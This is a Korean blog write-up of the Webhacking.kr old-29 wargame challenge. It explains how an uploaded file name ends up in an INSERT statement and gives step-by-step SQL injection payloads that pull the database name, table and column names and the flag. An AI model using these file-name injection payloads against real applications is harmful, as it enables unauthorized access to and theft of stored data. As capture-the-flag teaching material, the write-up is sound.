본문 바로가기
Web/Webhacking.kr

Webhacking.kr Challenge old-29 문제 풀이

by jh117jh 2024. 4. 8.
728x90

 

이번 문제는 파일을 업로드하면 업로드 시간, ip, 파일명을 나열해 주며 flag는 다른 테이블에 있다고 나와있다.

 

우선 다른 테이블에 flag가 있으면 파일 업로드가 가능하므로 웹쉘을 이용하는 방법으로 접근해 봤지만 업로드 파일 경로가 노출되지 않아 다른 방법을 생각했다.

 

우리가 흔히 table과 colunm값을 출력하는것은 sql injection에서 union을 이용하여 해 봤을 것이다.

이를 바탕으로 file명을 이용하여 injecion을 시도해 보려 생각한 결과

 

우리가 평소에 했던 select문에서 union을 사용한 방법과 달리 이 문제는 단순 업로드 파일을 나열해 주는 출력을 가지고 있어 select문에서는 인젝션이 불가능하고 파일을 업로드하여 db에 저장하는 insert문에서 인젝션이 일어나는 걸로 예상이 된다.

풀면서 메모장에 정리

 

위에 사진처럼 insert문이 어떻게 쓰일지 예상해 봤는데 time, ip, file 3개의 컬럼이 어떤 순서로 들어갈지는 테스트를 해보며 알아내야 한다. (총 6가지 경우의 수)

 

일단 파일명은 싱글쿼터(')로 싸여있으므로 빠져나와 추가로 time, ip, file을 하나 더 넣는 방식으로 진행해야 된다.

insert into table values ('time','ip','file'),('time','ip',(select ....))#

 

 

마침내 123','1','121.133.198.143'),('hello','1','121.133.198.143')#을 넣어 성공했다.

(file, time, ip) 순서로 되어있고 ip는 현재 자신의 ip를 입력해야 된다.

아마 내 ip를 기준으로 출력해 주는 것 같다.

 

이제 select문을 이용해 테이블과 컬럼에 대한 정보를 출력하면 된다.

 

우선 현재 데이터베이스의 이름을 알아내보면 

123','1','121.133.198.143'),(database(),'1','121.133.198.143')#

 

현재 데이터베이스는 chall29이고 

 

데이터베이스를 알았으니 테이블을 조회해 보면 

"123','1','121.133.198.143'),((select table_name from information_schema.tables where table_schema='chall29' limit 0,1),'1','121.133.198.143')#

여기서 주의해야 될 것은 union을 사용할 때 데이터 타입과 개수가 맞아야 출력되는것처럼 데이터 갯수가 맞아야 하므로

limit를 사용해 하나씩 확인해야 한다.

 

 

총 2개의 테이블이 확인되었고

이중에 flag_congratz에 flag값이 있을 것이라 예상되므로 해당 테이블의 컬럼을 확인해 보면 

"123','1','121.133.198.143'),((select column_name from information_schema.columns where table_name='flag_congratz' limit 0,1),'1','121.133.198.143')#

 

flag라는 컬럼 하나만 확인된다.

해당 컬럼값을 확인해 보면 

 

123','1','121.133.198.143'),((select flag from flag_congratz limit 0,1),'1','121.133.198.143')#

 

 

flag값을 알 수 있다.

728x90